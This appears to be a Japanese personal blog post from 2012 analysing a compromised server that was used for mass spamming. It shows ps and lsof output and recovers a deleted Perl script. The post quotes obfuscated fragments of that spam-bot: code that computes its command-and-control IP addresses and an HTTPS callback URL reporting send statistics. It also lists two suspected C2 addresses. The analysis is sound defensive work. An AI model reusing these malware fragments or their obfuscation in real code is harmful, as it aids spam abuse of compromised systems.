2012年8月29日水曜日

cracking

知人のサーバがクラックされた。ssh brute force による一般ユーザへの
ログインぽいのだが、/var/log/secure の記録だと一発でログインされて
いる風(失敗の記録がない...)。

root とられてる? 一応 chkrootkit したが結果としては問題なし。
で、何をやられていたかというと、SPAM メールの大量送信。perl スクリ
プトを送り込まれ、おそらく ssh から直接実行されている(wtmp にはロ
グイン記録が残っていないのでそう判断)。以下のような感じ。

 501      20783  0.0  0.2  13056  8440 ?        S    Aug21   3:13 perl
 501      19193  0.0  0.0   8148  2976 ?        S    09:35   0:00  \_ /usr/sbin/sendmail -t

スクリプトは何処? lsof すると以下の出力あり。/tmp/ の下に置いたが
unlink してる模様。

 perl      20783 user    0r      CHR        1,3                2395 /dev/null
 perl      20783 user    1w      CHR        1,3                2395 /dev/null
 perl      20783 user   2w      CHR        1,3                2395 /dev/null
 perl      20783 user   3r      REG      253,0    10801     666887 /tmp/  (deleted)
 perl      20783 user    4wW     REG      253,0        0     666888 /tmp/...

なので /proc/20783/fd/3 からスクリプトゲット。ここに晒していいのか
な?問題になったら嫌なのでやめておく。改行入れてインデント揃えて解析
してみる。今時間が無いのでざっとだが、結構難解で、どこかに wget で
https 接続して送信リストみたいのを取得しているようなのだが、これがど
こからなのか解析すると固定文字でなくいろいろ計算してる。解析の結果お
そらく以下の IPアドレス。

77.67.80.31
85.214.80.4

ちなみにスクリプトの以下の部分

  my $p="1234567890";
       : (snip)
  if($fjaj==4){
      my @p=split '',$p;
      my $i721=$p[6];
      $i721="$i721$i721.6$i721.";
      $i721 .=$p[7].$p[9];
      $i721 .='.'.$p[2].$p[0];
      return($i721, $bk10) if(aae($i721, $bk10));
  }if($fjaj==5){my @p=split '',$p;
      my $i721=$p[7].$p[4];
      $i721 .='.'.$p[1].$p[0].$p[3];
      $i721 .='.'.$p[7].$p[9];
      $i721 .='.'.$p[3];
      return($i721, $bk10) if(aae($i721, $bk10));
 }

ポート番号も何か計算している、その先のリクエストは以下で
求めているようだが、各変数については時間が無いので後で調
べてみることにする。

     my $b4ah="https://$jf8a:$bk10/$k7b2?id=$k14n";
     $b4ah .="&sent=$jdga";
     $b4ah .="&notsent=$jkjp";
     $b4ah .="&unknown=".CGI::escape($cbmm) if($cbmm);
     $b4ah .="&testsend=1" if($iod9);
     $b4ah .="&stat=".ab5($jf8a, $j505);
     @c404=ab8($b4ah);

0 件のコメント:

コメントを投稿